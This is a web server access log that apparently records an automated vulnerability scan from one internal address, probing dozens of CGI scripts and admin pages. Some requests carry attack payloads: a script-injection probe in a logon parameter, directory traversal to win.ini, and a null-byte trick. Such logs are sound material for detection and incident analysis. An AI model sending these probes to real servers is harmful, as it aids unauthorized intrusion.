[30/Apr/2022:06:39:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa.exe HTTP/1.1" 196
[30/Apr/2022:06:39:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/whois.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/hi HTTP/1.1" 196
[30/Apr/2022:06:39:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin-sdb/printenv HTTP/1.1" 196
[30/Apr/2022:06:39:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-mod/index.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.pl HTTP/1.1" 196
[30/Apr/2022:06:39:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.sh HTTP/1.1" 196
[30/Apr/2022:06:39:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nph-mr.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /query.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /session_login.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /show_bug.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /test HTTP/1.1" 196
[30/Apr/2022:06:39:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /test.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ucsm/isSamInstalled.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /whois.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wp-login.php HTTP/1.1" 196
[30/Apr/2022:06:39:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wwwadmin.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wwwboard.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /xampp/cgi.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cgi-bin/file_transfer.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:09 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:09 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /logon?onok=%22%3e%3cscript%3ealert('axon_logon_xss.nasl')%3c%2fscript%3e HTTP/1.1" 196
[30/Apr/2022:06:39:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /error_page.htm HTTP/1.1" 196
[30/Apr/2022:06:39:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.pl HTTP/1.1" 196
[30/Apr/2022:06:39:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET 1651272079:@10.18.149.5/ HTTP/1.1" 226
[30/Apr/2022:06:39:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET 1651272080:@10.18.149.5/" 226
[30/Apr/2022:06:39:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /note.txt?F_notini=&T_note=&nomentreprise=blah&filenote=../../windows/win.ini HTTP/1.1" 196
[30/Apr/2022:06:39:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /note.txt?F_notini=&T_note=&nomentreprise=blah&filenote=../../winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:39:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.sh HTTP/1.1" 196
[30/Apr/2022:06:39:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/login.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /SiteScope/cgi/go.exe/SiteScope?page=eventLog&machine=&logName=System&account=administrator HTTP/1.1" 196
[30/Apr/2022:06:39:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /..\\pixfir~1\\how_to_login.html HTTP/1.1" 196
[30/Apr/2022:06:39:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /trace.axd HTTP/1.1" 196
[30/Apr/2022:06:39:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /global.asa HTTP/1.1" 196
[30/Apr/2022:06:39:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mailit.pl HTTP/1.1" 196
[30/Apr/2022:06:39:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.jsp%00x HTTP/1.1" 196
[30/Apr/2022:06:39:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /user_settings.cfg HTTP/1.1" 196
[30/Apr/2022:06:39:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt/mt-check.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /rails_info/properties HTTP/1.1" 196
[30/Apr/2022:06:39:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:39:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.html HTTP/1.1" 196
[30/Apr/2022:06:39:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt/mt-load.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt-static/mt-check.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt-static/mt-load.cgi HTTP/1.1" 196
[30/Apr/2022:06:39:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/ncbook/book.cgi HTTP/1.1" 196
[30/Apr/2022:06:40:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/printenv HTTP/1.1" 294
[30/Apr/2022:06:40:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/printenv.cgi HTTP/1.1" 196
[30/Apr/2022:06:40:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/quickstore.cgi HTTP/1.1" 196
[30/Apr/2022:06:40:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search HTTP/1.1" 196
[30/Apr/2022:06:40:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search.cgi HTTP/1.1" 196
[30/Apr/2022:06:40:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search/search.cgi HTTP/1.1" 196
[30/Apr/2022:06:40:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/status HTTP/1.1" 196
[30/Apr/2022:06:40:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/status.cgi HTTP/1.1" 196
[30/Apr/2022:06:40:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test.cgi HTTP/1.1" 196
[30/Apr/2022:06:40:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test.sh HTTP/1.1" 196
[30/Apr/2022:06:40:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test-cgi HTTP/1.1" 779
[30/Apr/2022:06:40:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/upload.cgi HTTP/1.1" 196
[30/Apr/2022:06:41:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/urlcount.cgi HTTP/1.1" 196
[30/Apr/2022:06:41:09 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/viewcvs.cgi HTTP/1.1" 196
[30/Apr/2022:06:41:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa HTTP/1.1" 196
[30/Apr/2022:06:41:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa.cgi HTTP/1.1" 196
[30/Apr/2022:06:41:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/wa.exe HTTP/1.1" 196
[30/Apr/2022:06:41:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/whois.cgi HTTP/1.1" 196
[30/Apr/2022:06:41:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin-sdb/printenv HTTP/1.1" 196
[30/Apr/2022:06:41:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-mod/index.cgi HTTP/1.1" 196
[30/Apr/2022:06:41:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 196
[30/Apr/2022:06:41:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 196
[30/Apr/2022:06:41:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.cgi HTTP/1.1" 196
[30/Apr/2022:06:42:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.pl HTTP/1.1" 196
[30/Apr/2022:06:42:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.sh HTTP/1.1" 196
[30/Apr/2022:06:42:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nph-mr.cgi HTTP/1.1" 196
[30/Apr/2022:06:42:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /query.cgi HTTP/1.1" 196
[30/Apr/2022:06:42:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /session_login.cgi HTTP/1.1" 196
[30/Apr/2022:06:42:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /show_bug.cgi HTTP/1.1" 196
[30/Apr/2022:06:42:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /test HTTP/1.1" 196
[30/Apr/2022:06:42:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /test.cgi HTTP/1.1" 196
[30/Apr/2022:06:42:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ucsm/isSamInstalled.cgi HTTP/1.1" 196
[30/Apr/2022:06:42:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /whois.cgi HTTP/1.1" 196
[30/Apr/2022:06:42:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wp-login.php HTTP/1.1" 196
[30/Apr/2022:06:43:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wwwadmin.cgi HTTP/1.1" 196
[30/Apr/2022:06:43:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wwwboard.cgi HTTP/1.1" 196
[30/Apr/2022:06:43:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /xampp/cgi.cgi HTTP/1.1" 196
